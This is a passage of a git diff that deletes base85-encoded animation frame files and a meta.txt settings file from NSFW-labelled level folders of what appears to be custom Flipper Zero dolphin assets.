zzz4BuY!E*O>>QKudhj5B56C|tUyr~&BjEMGKxdze_&%Tzc>m%Ket-dCq5p^&KK+m| z{{J99hhbVA)4*LH{0;&32bg_XgbN?t{Bl6| zE0^!iBO8D{qu`;ye|Y0zkPp}_To3FGC`>d5h*-V_B7jG~;R6SvOiDul{(s_V^9qk!T=^xemv%4|7XF)zXzd!k^}zlgUg2MWLbat01(am`V9H064Wnf_Uhl9`X1|V|(;NbHOjC^Jw1s@Q+ z=llSB7FX{-@P5PjfB1ew^Z4Qa{r&=&gX7r;-yMhXe>cbCKmNbKe-Lwg1IUg)h!{RT z5dZh?1|P1393C@_MCq5n_+6Yz2U*#ZwZf9}3tU%EX07;#wN&*~m9d3=BO;C=J{ zKd}1#LFv%Y zA7afGc?QSW@lS{17yJjBuzue55rf7q4=4DN$Mw$#iM+pF@VNdrrf2cf7qx@wMAVKHA0}sFa4?w7=kAd+Xi3ERfB(Xw5{UTtAN+WPf#rZc7(C5_+aLFo5Ka*Q5LjXK0C|5)#1Ci~2v?*27Z5#w zVhIrdl?hlt@(PeJL;??Z06iPR4}d8H$36}%`wV~uJ_nzC9$YYebH${?Fab^=765qr z!Q+oa2t6hWBLElN9&!MDfC;{AB>*8kR7L<-nL+{fKPVtR)g=N4*noya52*eC!hreU j1NML5H|PFC@CV{NZwdT?$N~6%8-uJt^FJ34f_e{-AQS_? diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_21.bm deleted file mode 100644 index a937fbdab20c5971864c12d2a2c29d0871e960c2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 544 zcmV+*0^j`s02~7UfDa!51P%lL=>m`V9H0AmWnf_UkAu(g|A&iI05EWQhQ>ZK5CV^g zUUU8cJ&P;%pZGsuga5yCf5bdLA))_I{}c3l1I8cwub0&RpA0yxZ|C|4kH`Oh2dmsc z=g$X-yg|qL2d6{dv;LFBdVTW0mxImfFmQSJKk)zHeIxt`cs*y|nD{*4_z3wu zH~;ULJs^Aodd>bHaC$&|7vlPV`{bbql5lPa0*nL4_zzKF>f$akU3iN-%;s>w{ zK_Va$p)80VK~e??fI;s72cvjF@C6`v=fTClVUPf)!1M2e%Z3lGc(j;i04c-*zz-jI zJaOoO2c*G7U;_Jt&Oi^40XNNrpadtXh`_L^&h|(P#-)1 ie$V^{{Qt;)0Q^Ud;XjZ$06!1IaCL}2XX4@TPeJk(JPCFH diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_3.bm deleted file mode 100644 index 1290280ddd844cb47e99fb93756ebcff910fe4c8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 584 zcmV-O0=NAE07L@+fDRu51P}6m;DEqCz~l#rWjEmcz(>L24qyBXbdkso03N}C035;t zzz4BuY!E*O>>QKudhj5B56C|tUyr~&BjEMGKxdze_&%Tzc>m%Ket-dCq5p^&KK+m| z{{J99hxV0QUR9nc@#9CIB9AEC2Ye zH^6yc;Cu)uJfP9=d0qkKzkv84!19Mc0pi{ec~jsQ1^Lh52m<&6%5MPJ1IvLQzz56W z`7aa$un$fEJiH&4c#{X&A6Jip9^VppsRSM{I0x7sas2>1W8m>-2rPeUfp&;2f#_Ed zc=^O*a36?0BjBOHe|Y0zkYB;L24qyBXbdkso03N}C035;t zzz4BuY!E*O>>QWydhj5B56C?y;P?D~0qGwHt^xx-{9nQK0E5T>5OeeZ3k?taK*9Iy zAP9dykRQZ6A9H~C&%x&hfdkfI0xzr_KGp~!{Xy@*h6CB2pz(x*)AApD1Z*C6{{TGv z3PX#7&VCO{hx8y);CaXR0Q1x%LC-!~gSec^Zr0QYZxb`ThUP!Rjg!khW638X=gu#2$AK@I6ID2o>>o zJYZq(gVO*HP6z#TIq}hXK_reK0ROvYK?j%gMnLrbdDCM7B@g&qK=tQ=#2z>Du?55) ze~$P)0mKhz_-J5%#_)sR;XfV>3;mx566`_f(ja(^1OPlRdU!tlhy)A%R1s+Z7-SDG zga!$M|NFt?k7=5KxIBOOJU|8a2b_UyJURFXLFND^`2YqF2Y`5i%1=fBfP@~;GK2tz zaI+wKkID!F8Gt?+{ z_7n&J><~W(>>QW#Qt%*u56C}%AAovK!Rvs4&ya!-IQng%@&CjeA9!eg;s%a@0ec7n zA4q%<9>2&B;vO$ZFg<4h@t>=Z9@7XhePHk-VJHp=e^@&FxCTPtLILyOauxy-4^PY; zo+!X6JF0^oro;QW_})G_dQi$oru z(6E_D*?)lG3B(UE=%q{S6AzgCM1ka1FnW9iV&*3BgX7>T5P0Xo z#lK;az`P;y|98RV!w07Wh6@-s`<^W?;|zi2$G_kp|NnSAaqTkz4g;SDfMJQJ_XnJS z1U>K&;Q{8yF#+FzL(B&$Jr)A_FakWv5CR#%J_qFlAs{`Oz> vh1g*9;2csw4|)H9T$})V$bJCyzzd!Mcn9HdLHK?fgzz6z@o@Mjr1b|FDxC#F diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_6.bm deleted file mode 100644 index ec4d15f793e76f04feacc287826b706f8197dc25..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 564 zcmV-40?YjY05AgofDRrAFXjKi0f2vj$PY{h|9%h12Le715OV+E`}*JK#&h|L3KKCJ#IRfF6J4vB`nwKL@?u0e%OZe}E4#K~&%u zfO*025U_gC;12YG@FAe_CkhyVq7OI^f*cPJLGQuoe}G&e;PLz4#3T7G!=A+ZOK z92Q@&ddJ1Xfd0Y7s1H!^l?De0fE!4@YBDvDj7$W{FnSWjoJ{ivoLmwpfd`rV;NqlP zkN}g!4^hbj-U<&NDP)`?058D6f#v-#5ItK(2Q3fyTtM`F7(8#~V_6VAJ>c>?7(F~6 zF!_HQ!Viu(tU=?y2NwN?Kmp)G|M(Di_rc}E2d;h_0E2(I;?n*w$)Iadf`7f>@yE2x z07p`e6Ho3BIRFT6z#-fN%m7XEfL|Xb077~|FAX&S6U?CiA(#W;eo#RY1K6@qB9a5x zKtm!y6L882fH0%zf$hKtqyQfC{{T4w@gevF@g69$2hngr>Q7_v+$VtgpNogVJqO6m Ct@S4W diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_7.bm deleted file mode 100644 index fcb23840b6b31b9b3af11281b3c61f3cbbb96deb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 595 zcmV-Z0<8T308aw{fDaxBFXjKi0f2vj$^VCg%K`u2gW^6ZJ_LLoAmtCB0Amml7=RWA z4oQRufDdnoJm=mBAA|M~V@hx!e-FqxZ{XtifA}yz$KW2b@OgGW_;?)q@qY)TbRJ#L z^nMQ?{6oR%90!+6pXcL4{}3>IZ}I;BX#im4*NQozRv_NtUMlH$p72_?}i`NKLQ7dw11lZTqGYo;CR=uaWHy*Vc_xbZ|DDOd|plu zJO6?n?-}-b59AY#xE^!xc$vrly@vn3ar)pq=P3w{*+GBfz+ zz#ecu1T@@R@<9W~@((BvfqY-j{>uz%5ed(Mp9soaQ h{s3|V;zRHU;yhJk52zgg9>?dnPXYBm7Y~AZ50Fo@7k2;v diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/frame_8.bm deleted file mode 100644 index 34951570d857d8a1e01a24892e184ba03513d111..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 616 zcmV-u0+;;(0AvFHfDRrAFU0@B0f2vj$PYls@4@@PkAuV>Jg^^s_rKae5c;ujZfQ5s^U?}nL zPd)(if$$-z>7x=(nAH04a{}22R z#(yvej{H_2@q_<@q7NVFJmccwz<*%=04S&n&Oaj29RwOH1p9-?^gxjZr+gqY)A**4 zq#^YGr^o*nO&C1WM`QvBsEdLQAbMT_=YRuL7Uk zg~ShR^d5ikzmo(kK=TWX_5nNxh&X}niW$ejydd|0AxdHJ&x4D8!ytOxKMO+t@WJc; zS(o#kEidB?fCc;qm;2ri9D7W`>`gzoJmdf&xH?P#t@D6b0q{>+06rdN2r(!fe`;TY+@G$!)O-MaI*gRq2^N++0#XsNl=kPDY z{d|D({73(vd;Ac-vGDObgup%cVf{hmBrj(_CkY3-uv%m2_vhkZ^!$g*{0|;SK7Tg{ zo&UfOFUNi-;P21n!1JH@AH*;i|Fhvgt^>|Lz=NZUe;?;{C*6Q~!SE2Y@%#Ju`FFq` za6SYyUVi`nK7H`~gUSQohXcpp2Oqx@@!$uOFm43$P6$A!o)77Gpc@1Fbj>E5PQVCo z0CC~|!QxdGc$){9&%A@jek%}o z!O5afB+-9CqL5F0@T@4J1c*G(Mc;ggJlJAV5PE;_ zz(I?uj2`pgAc}~%K=v1rc!1&$GSIKn$_OV2gVMj&o`c8wULbpa|8wwI|AoX4Ksi9? zi9#C~JySzC2Z%UlN-A5r`Pg#q)x2kigA4nTZJegOPOjo==k<}L_755sVt1L}S*9|ZNnfb`fDHSz!e diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/meta.txt deleted file mode 100644 index 8e51d5271..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_15/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 22 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_0.bm deleted file mode 100644 index b151abf7ecc4232c2d19727d06d9009f1e9c691e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 662 zcmV;H0%`pL0FnZOfQDcOC>Mjl9|INx{{sRHU=UFW2f}^^E(iVs1Q{$GJ*1Ob(U0e}2|;QSAH5a7Tvq+loi z&-eg==K=?*1V99YFnRI;i4rpjz?9x?QT8J7WqpOciJKm(v)FW`lq0hMeZ_IeNi;gApbA!EfS{{faA0>69_mjD0& diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_1.bm deleted file mode 100644 index 4a55193c60b34639e486304f8ba5807095a5a15f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 658 zcmV;D0&V>P0FDBH;2;n{D9A7${{(y*Kw$zD2rhH~g!~Fz0C~W`LqLE-{{ZuVe+EVZ z7=R?NVDk@_03JY-{DI5Ce+Q8q!6X0tMZn|u2bTaIS^&v@fAD?>yof}x03HJW{QrOm z9##N)7l-f;L-$+Tf-@F!%-s4+RXs98>^!@H64_=Y!awQT_Nlyx@V11Js0I z0sDjLxF7-tvyB7>4|qg@4l6MSoNykvC_D=g52{250T7G>>UabiBxC#!h%^~+QILE< zAW8uM40&QeQ528>abQD_d;#yky@Spia3Cn&0VUv{gU%Vu2cN;%KaYFdfCC1OfA8Y5 zz`z>9_aJ#$Kfv;ULB_-L2c!;>_y?Wwjz183Kx7|{`<A-M z_<+Fy=fDS-eDG-z;{(os4>SQO#{u_(fr`L6Ab7G0AHe^?0p&0Uk!0`)0l$OhKGYZ= z;(iY}z+_KD_rJXc1N@JJ&Ny))aH9$Xjt8VL9$mp$xXWe_NHPSl5I+b!a2RWY08zmJhH+r=N8t(N01!N*k`D~@9!TMW4NZJl z&y4UMN8y4PL>_SdC&GA}6LDc6VDn!O;^90N3FKfONEyJGV+X&3#L_$iaQ~fT03XMW z|2Uoo2jB@C@&JVb&l&vUa5fq7Ac5ot6?ntr0P*ppgpeW90}DWBVDSow?05wc2Z)S* z0`bHH#vCpmfJjclBNY&X%m6?_hBw9lS{Viq9)Q6~kUT(RAc9^2=ISAcz+7Zm5PCd} s0Fep+J%G$YAHW@Fg8~2|uz&{g5PA#5^hFg9w}1}7@dPh`>>ve!fG6P*Bme*a diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_10.bm deleted file mode 100644 index 3e0c0f23b9aab61594e812330e6bc664373fdf72..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 628 zcmV-)0*n0t0B{0_fQNtr8UzEu;Gcs_0sn)8+5zwfp9B8`0u6vrpMZJ5KY;SM0m=di z8(2L5z=02-7=Pc8F?cWFLXZQ@l0S&}xPj*|52gR`TM}@Q3I`AeuXFwYAb9>DF@Snc z;~e0549D>Rh9Ag2S}({w00NRAc>o7pe+P=VVjKh!1I0o{!3U2%0SNF0$Ucw(d3o0a z2_Wew3?4slDBc}#a4>s7U?|a12t6l(q>nnp9zU>o#{tEF{=nZO$PcVI9$E|R2&O&{ z`b2?Zf)D`kE8s%%fBt^(c_)b!DsvBykIoMq06hKxLw1k9#t#*7gT+3G@&}5z)M#ZO zd4`g3pn)KQ4loZ|i2gm+?-hg@U|LBtdKjJ*2+9uE}B zfFJ1x@Bh;%0B;r_zFtWHJ-9GF`8gBKfWQOAnrP;MZ~#KBNCa32V9~HZAU}Y5M8Jn| zfJ_17;2WeMh_eC!i39*v0DDFOco2ZI}v z2>^%#(t!qn6$}DIa%UU~NM+(F5CJeC^NtaO9%7=v1JVvg5MhLifxsFQXm|z!1BnQ{ z0P_KlfC?aTbrrx8K|z3g1Y!^<_$Y4x^9GIJ@G9cJkp}z^H^9e`0uL?tjA#DXo(KOQ2bKUHkqqJB zf#cW;kUb+Axe{D0y8z=LE-t$N4{mc?6^nSb5}{Lc0)p!7u>z Om;p!N$0f+%Bk(W+$^er9 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_11.bm deleted file mode 100644 index ceaa10c7df8f642f6c209ad8e427cc1a4e262988..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 629 zcmV-*0*d_s0C56`fQNtr8UzEu;Gcs_0sn)8+5zwfp9B8`0u6vrpMZJ5KY;SM0m=di z8(2L5z=02-7=Pc8F?cWFLXZQ@l0S&}xPj*|52gR`TM(d;3I`AeuXFwl5P5zeF@Snc z;~e0C|HfnZfI|=DA1xQ;9)JN!5IlebuD^rDTrmy;2!Z0EBVdEap8$k-17sga0KB~G zf&`FslZFo;xD;;=xDS{79?%#HG{NaS4J3KiAo2Z!&NvP%2lfW}9zcCz!1B;vU_~+T zf6^oi6cB(1fnNd_lmGMggULKdp;MTAe133v-~s3G0v`ka@9~4hTww7}qCA1(t~DAN zNFHINoG2hjAcKqp)L=LApn?t<4`1Lsf0yt2X;!wA4Y!pDH0`~xBY9tZvjz<`O;ANU8H1Nj2* z4b}zxwSkZQ0K5T=MqmHP5WE-o1n@q-5C7nxU%+_Jf$M<3{y*??aFGT)JwW)+|DW&y z1H|lRlQ;-G# z$RG$~V4C?s;$}7puaF)-2bu%Q4(bv4-U7%ECfvzAESYQ zu!Q_z^@o9n000~R_#WTLn$Yl<|KfQ;;{^hrLjU;RgV+k33;%b~GY|Cq9=Qkv8UcS$6VyTK9T+$~Xba+>kwgG+Yy(_l@&cg$k|Q05}4VfXe^^ABX?I2~YSGzy-jc{3qaJ|HHwj2n-BA@DDf#@E(vT1aJ~I zuu1=*;`OjVKmU+1crW1ekPFAg4-!#-FYqz?f=luLgZMwQ@On@MCJzt+1J)n|BY=a> zJ`Y5JKqejldO%6)VIcZL!RiG(;5_-@^ckQy|Nd}V7s^0BAMiZB;l)@BC~si%|AXQ= zVEzN(-dG42KAK7oAILr6fb&=&Jx-<%vx&|D^$0+k!2#`H0vGWBXZG*`3BZH)_yEg* z515C+LQNCDgVr(l0-AuY@c=>GBa^@}j0hf~k%xhh9y{=RLBPmx5PM;uU}R8;Jmd%R z;gH1YfByJ9fI|Eb`A!N2&j*{ZejGXYe1c=Z&-daY!Y2*A98mz!@FV~C$py#%KL?Q1 zLF<5k;632rV7`aJ^Ct)Z@PP5)Ngxvf@cw7!F#sQ$AAp25 z#VkL__&t3Q^kGLJ6To};AHqKva0GwR;ClHv?80F9X z55T}d?fqm8IgoG|Fg_;WVm68ph3Ox_ABY|)LnoL#cmQ*PAqYOy0D61@@1FxC8}O76 zdgH;D7uP@Ihcd;PjvXhJW~z=cF?cWV@M*{(JPr6fVB+EjsNnDakNiGBP7t9N)8T*qf4~F}SOf^9 zGyi}*0)P)62Yeo8f%v1234;IdLF?f7jZwfL@sWXqgg=YOJv<=s z|AWdPR~zs>I3M^A_;5vXuY=KEG9SVepn!2#D12mo0C_-w<4+H?ohVQU3!Fjk|G*Ci z0RZ@a=-~Gk5?D^+4~TiNS*3qEkUaU|@n@gr zHwWaC90UbwU<3Clls^FX55M^OLHh@}kXP-%0-pdL_zlGX9*_tiJ!l&X2t8mx^^im- aAoTz=LLnUorUbyzh=e>IhExC)Iw1#KYU;rN diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_15.bm deleted file mode 100644 index 4fd3e1fcdff90ec3dd43d74a24562a672e705078..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 519 zcmV+i0{Hy_00RR5z(9q70T27ZKLj8D{ugP-z#e=6dqDt0_y?Q=`F{tX&|u%o*!cpe z04V4G@<}fR{2s7@K!e5}E;#r-AV8A*|KQ}|pM%r@KMVMTKm-qHf#hfZfO*HpgbzRv z_yP0)AaZ}<;Ppq813V8td>kI@q5v119-sk`3&;EqFStEq45Gh-%?2R$gikC0^nruh z@dL0V5FYc$06dmL4~*kRn16s$w01p#UBZfu~ zs0@J|G7x)@#2zsOaHp6aCGlkv)KZ2Id;|@uAoxd({=iNf_&%rb!4QM)KTt0X&M*&i z=$uFIKb$=b9=HfN7=iX~5PonGMh~5Z01Ra3fKW0P5PnE96Oeif-XRc>hIJ`?aka6jNv1RMkK2~XfXU|a|v^7cMK zslX@$fsgxl}07E#i1M|TH zup|&a5CD09LGHg0c_4?ZFnZr8083sz#iWl zn>@H5+y4W;4onBN9B@Kt-~sEvw}DPU_y@njP6kH+u!IasvHTyAeo!CqoXx`*2dCrz zBm5Ex*gyD~J*WNvc|r!F4^eo}(t>9$2mTfxZ~hH%AOY}y;UM$_kNwVYAAmiM;tv=i za75$|SO=g!XW=7=J&6McgddCk+Yo!e&w~&*2tC0g1DGF#Dj@lQ&y2@EDu_Lx0il5< zh(5%T0ExJ8pZVB5!=wL@i^v}WfhdYpqhb0;kMoZi2fg@yM$zCzLGoHZ06sg=2>3kU zCiuWS3?F6T2aq|z9cg8(3G2f_Ft^ba)yVPOZLx#SxO$UOw804RjQIuA(zJ)@BW Kaf9X^5QBjI9^ym* diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_17.bm deleted file mode 100644 index 956a5261f02dc14d1e7328a63dbf6ae3c43697b4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 517 zcmV+g0{Z;{009D@feuLkf`7ab@Ihcd;8Oq;;(724p9B972Am=R_yCBdKagI~ z1O_XBa1bzlfCL|D@duKD2k;O01n?h+5s-WV_X7b4ewE@6E&x7bm<0(yKilwo&nN&> z{73)y@Ou9v08`*c|G@Wyfs%jx2e~+a1$_K(!R!7f834Qh_VL5u9sx1%0qxNNl)y|_ z9{4#h6~GvjM20``dw40&Gnilj@Ax+wNO&OePpSD}pU?ac{LD}B`6M0>{2%Z*F}S0b z!~ch!P6p@@dWXh8z%~>F4j}dTH-`Y#AUOlzN@d~yuaq7jgSZ!j9>Z}U2qb3(;Rmr? zfAjbh0(s!`gV|0X@d6BbU^ftZ3PygM82DI$?BE#uBLNRDz&xSx&I2rW?NtY)|KSI~ zSHbfKzyBb94LCkvXCVL%L?0jM2!ueRi2H-!LNJgh;DPo9EC@b7kOcv7FcxrpU=yPN zkYFre`A&-1sAl-!K*8n&HhO+23zG-M1L0u{AU)(C3CKSp6A0)%6l4HM#K62@0mFmZ H9WaA{lhWcc diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_18.bm deleted file mode 100644 index 09df580970ba3fd97360878c18709288e02ed41e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 549 zcmV+=0^0on03iaufew)Xf`9xG@Ihcd^YF6HC!YXG@IT>GfMg&ah)3WupTK$m2jK($ zUcl%6hk;H(0PsWq|Byj=FW~e57ytkGi-AY+e}jYD`G5TX;r;^fz`>~k6qoQsAOQ!k z0H^tz*I|x0FYom_#XItr~t8q1qxvR;Dgl`KLJpH3I^aD z5BwfcgK)1-0TA$i;D6wG3j_`%Wbpss|A2Wx2;vV=_`}er2H*qR;13=EJfLB5La01r z?{dIEK;jQ~afpZb4`Dch1adwGFoW2xCIJVJz}!FZatIDT0)Sis#1CUY&%xt3@Ob~A z_6&@Dax=+?Vu diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_19.bm deleted file mode 100644 index af37aa3622a3baaf786b624a3fd1244daf0b75a2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 534 zcmV+x0_pt$01^WKfes)CF9iG$SP%XD9(V`@;(hQ3p9B5{I0S+L@PvK=Df|MU0DcfZ z0Q!QA2poU-cs*bsGR_0fp92@U#DE3o2f=`U!1DWp)czsyy@SvG4_H75W0nAV z5=hIea|fJ29>0Jo z{x{(F{zuqJKmXss?GGX(|NIYjGT;A~@_PRuJp{?$z8m(*1I~a09sz*70QB&Gu8?3c zLogry0DZh-!Qen>0P((_=oT!AYp?I#NJ@@kKh6216qhZ*}@MT z1PAfo2dNxI0~1si^WNoBfs#e8KkvGI5C;zjkAciTu=^SYKA9Va1J8K}u>e8kIN*LS zfcXLp;z4`|%sqZF$OL-)4`N8ez+)bOL+8NwgSQ49pny-o@dG@K{t6GJK;R(YAu5nP zkjf8+c&|hXIspBC0HugBkUg*nqrwB|w0IDF@B!sOz+u7fu%Hr(AP=husPGgpd`>~> YK?l4-I-L-CNI}gQh(q9D`-emz;QasWkpKVy diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_2.bm deleted file mode 100644 index 61d2da60eda5c6d40c19eaa74fe47db34bd21d52..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 670 zcmV;P0%83D0Ga{-BtilH|M(-|g1~>l>41QLC;tifAh-bWf(Vu$_y?F=L5V;C3=8>t z1em=+Dft2yg8mMF2mkRG7Z5#g5GV)2|M>sG{2uZlLIdl6{(ry(4v&4KW6X*wee+r%h&Kdmw@4%z@@X%rsprC*X348~i0)7J@)G!`!D*!ye2WkSO3X%Tr zfzROwyaUn$U`{gh?fWWA4`E`xbGraiqxP$A(#$}4i72*0YXpXfJiV9@c~cP zCIBcfJYW#$0l;J40+@gf1~D-pz$5brbUijG;W7w3fdjyY!U5tQBU#kCccWUI!U)1|pyoNk=fzn0U}bf=(cKfrZXEKzNGCoNECQiWEWQ z$T5h(FhF8sh&^x!0f1muBr_Z&F;*}1z+eI5haiy0f#mWi1VRE0AbS7~F#~xRJ|Zy) E82y3{u>b%7 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_20.bm deleted file mode 100644 index 42a3449b3b21fb170530b5c472d4cfc25328cc33..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 547 zcmV+;0^I!p03QPXfes)CF9duLSP%XD9(V`@;(hR+f(wEF0-ORt0Qf>b0F?d#Pyjy& zAM*A-L8*WX!4LobU?5_@gV-=X|HK>$Ka2c48jvBt-~T`O8F**l^uPneQa`~EfCL_( z1E2l@=N}pn0cIWmeL+h^4nO=n9;TvzX94HWfs5R>AOrJ*;J`oNd40j^Zx&GA!RCVy zdO`q09Iyk>l3?@DK0P(9s$)z?~!@=X=a}Vr3#(|HfM&W?- z-a+g@5P42GAB*5VK!Z4tUjg$EUyO1A9=`+Fk}&WX$Dk1T@ID~z!G~xd6YzXM&m(^+ z2tHKK3=g8w;6d}i2bBW>hX=mGfJ!Ka l1C9@i2&nKBFnmry=|Km)LOPugc}PLc7>GmQVEczeAmGz0_niO$ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_3.bm deleted file mode 100644 index cf580f3cd2c83f31abe9a948a8fb09b9e8474f72..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 659 zcmV;E0&M*O0FMHJfQA?cKj(rz1uO^t0uM?A0&(!4gUf;c0u&eqP$);>9%5kynBhN{ zuqlVkgir_|B!45K@L$1X2OxO(KmUS(egWlx2b>3ifAoLh+z)vWf$0g*U+JIl0R!F< z;Gf<<|KNCx%Yaufc<<-Gu=xYY79jI23OK_K7TJlphN$F z`1G63AMgjCz#ezdA;bIt^Y8|Z&OiZwh&=cX^1w~O=LWzrz9MNFM+^+~a?kLxAT1f_OLKbN)l~5b%0Hf#P^S zga?=pIsm|U8~^$AuaFP$J^TOoI3Pr0{|B6aU?B1YjsiYW7)U&(39<)>aCi)H{lWp| z5Eu^yU@8&tImY-8IKl+K_;P^!VE2jOJmZo8c>f^(??3(rCXWNnCM5y*LHDRf#qP} zU;*X=7-TWpa0`aRgFjV~xN(fK02Jf+4?;-)351tF@H|O^UJ!V`$N*XI|AKa79{?b4 z&<2Qr3*HYK$_!_KfsX^xKs)ewz&P;mNPvWFCQOqF0~;)p{ZbW|27Aq9RNHJwO8tfdF(71uO^t1_T(uAfgfvg!~L#5BvlOFo8mT0p|ez0LUJ4 zKuF%f=l%hdFa}Zx2mkUaF9rM-Q9yZ;NAOxNz&zl9GO%DT|Bw6}oFqeo0Lp+58|VB0 zK=XkB%8`Hsh&<4S4{?Bl)UHqtLWsfT4+p*j016-QJbB>u7mpGH0oVh_&ch&ja3C}Y zCIlWoaC>qjZ8Cun2p--7K~Nyz`c@VK4p1kV1JDRu0DXA?WFHg>1KVi)Fnd73MSKUN zd`adHIq*E-*?@V4gakduIfKSv4@hu`Ug+pA;5_G&0yxG&=L3*_LFagkekt*Qd71~q ze@&hn^2P0Kjlv^oe*U_zyTd<{StH7#>hRg#Ur#N1Q-lFfaT+{#-AG#U62s01QE+ z{Ez=3|B1jn;gSFtn}^9iKMgW*5Nn*k9#Aomh{i!Y2b>%TUI2Kw#s?4wo&XFb0pLL3 zJ_!5@Fb^|m#s~rw7P-SG!=f&XU@AcJz(8R4;CUE^F&qMn2p(7fc%F(F*BE%PhXvq+ z-N_;;FT<>$BZB-u{_LUP0z?iV_5VP=;BmMk2y`Oz*k8fr2c7~3d=DV`b}#rZJOlho zDDn(|1^l1jLF4=k5cqr#K?jt7gX0UD9AF4xbQk|W!SIJl0COaO!;GW<_walG^Ineu z03>0+JO{!LM9C0DB0LZN4#E#&aFoygftYxl#^N^lz%bDOdm9K)e29ZYLFfP=d8J2y x=}-e`0plM?FaZ$*fS;3;pg{z{U%?9GAOWp}9?J0mBr%2{g?NbxzrbaOK!B!)5=#I8 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_16/frame_5.bm deleted file mode 100644 index c0996aef2ac21ab511e9a979553a0b45ae473a4a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 654 zcmV;90&)ET0Ez;EfQA?cKj(rz1uO^t0t6Uv2xt%q$HIOOE(iPwP+%EAp&x*GiG&`& zlD&aUK4c<*K>;K29T$TB3m`cI$HD*n6btYVEC4*oBY*UN;o(6d5IrF}3;*-}03dvL zC-H!JjLU#7I6ypS|B!m3#2#g#fc=5P{fC3#06zfvbHVhi5CHkW!(a!#0{#ylxILo{ z0V|34KmremoH7Xp2i1WJF&JUQfkSWyoZvt(3M4!H4~xTqU>OK_K7TJlphMV14{t~i z;pq}f5Ge0}^f(X{dperxB&EnVgcw%9tQo+K=Paz1PoAk7vb(;0fBHo zm+&!1pg;cm+<*coAAmgm1Yy6!0p>^_06g#j;g~~!=Kz9uH{o;qL-PXj2aE_FCWH7u zd4Thv3c}x>z4-nw+7~}hd1Ii#U z9tyxzBj9t5@E&o534ieA0rbXPn(Lk zgRs@24;V!JURVeiJb;3W8~{Cd0AX>UAYd42`E0BZ0C|85!GOVo%^Wbmg4j415P5)x z7*#OAY&bLZSwo;0##sOgarg(JB!7g$02Fil4-#OPgdQ)l02X`y;GLMq;0PP^0iqxR z_k+grgBjo;W5D!K4*VW44m>;(AR!wGlzboj|AO$P5!i^v0dNtQ!~gHN0mNKF!Jrw0 zMnBK}{$X+>oA_2Ff*f>2*A8R2<;@2LJx!hFfk;KfDdsq76;;~S9+EU o!VgdbNH87-%7f#8`B5v-0qVUG1MnH7PBv(WlL3GSpa5ZzAP}V!rvLx| diff --git 